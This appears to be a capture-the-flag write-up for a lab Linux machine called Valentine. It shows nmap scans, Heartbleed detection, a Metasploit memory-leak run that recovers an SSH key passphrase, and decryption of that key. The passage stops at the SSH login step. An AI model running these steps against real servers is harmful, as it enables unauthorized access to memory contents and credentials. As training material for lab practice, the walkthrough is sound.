A Linux machine named after its core vulnerability — a memory disclosure flaw in OpenSSL leaks just enough data to decrypt an encrypted RSA key found hiding in the web server’s directory listing.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-17 09:01 EST Nmap scan report for 10.129.232.136 Host is up (0.25s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.2.22 (Ubuntu) 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_ssl-date: 2026-02-17T14:02:05+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Not valid before: 2018-02-06T00:45:25 |_Not valid after: 2019-02-06T00:45:25 |_http-server-header: Apache/2.2.22 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.53 seconds
Foothold
Hostname Setup
Add the vhost to hosts file.
1
$ echo'10.129.232.136 valentine.htb' | sudotee -a /etc/hosts
In the /dev directory we find notes.txt, which tells us the encoding and decoding are done server-side. The directory also includes hype_key, which is a hex encoded, encrypted RSA key that we will need a passphrase to decrypt.
So, the next goal is to find a passphrase to decrypt it.
Vulnerability Discovery
Using the vuln script to detect vulnerabilities with nmap, we found that port 443 is vulnerable to CVE-2014-0160, an SSL Heartbleed issue that can reveal sensitive information from parts of memory.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ sudo nmap --script=vuln -sV -p80,443 valentine.htb 443/tcp open ssl/http Apache httpd 2.2.22 |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. <-SNIP-> | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/ <-SNIP->
Heartbleed Memory Leak
We use Metasploit’s openssl_heartbleed auxiliary module to retrieve memory leaks.
1 2 3 4 5 6 7 8 9 10 11
$ msfconsole -q -x "use auxiliary/scanner/ssl/openssl_heartbleed; set RHOSTS valentine.htb; set LEAK_COUNT 10; run;" RHOSTS => valentine.htb LEAK_COUNT => 10 [+] 10.129.232.136:443 - Heartbeat response with leak, 655350 bytes [*] valentine.htb:443 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(scanner/ssl/openssl_heartbleed) > dump [+] 10.129.232.136:443 - Heartbeat response with leak, 655350 bytes [+] 10.129.232.136:443 - Heartbeat data stored in /home/kali/.msf4/loot/20260217135153_default_10.129.232.136_openssl.heartble_282878.bin [*] valentine.htb:443 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Upon inspecting the dump, we find a base64-encoded value.
Decrypt it using the passphrase heartbleedbelievethehype:
1 2 3 4
$ openssl rsa -in key.pem -out decrypted_key.pem
Enter pass phrase for key.pem: writing RSA key
Since the file is called hype_key, attempt SSH login as hype using the decrypted key.
1
$ chmod 600 decrypted_key.pem
SSH Access
Trying to connect initially fails because the client uses modern OpenSSH, while the server expects old RSA SHA-1 signatures. ModernSSH 8.8+ disables ssh-rsa by default.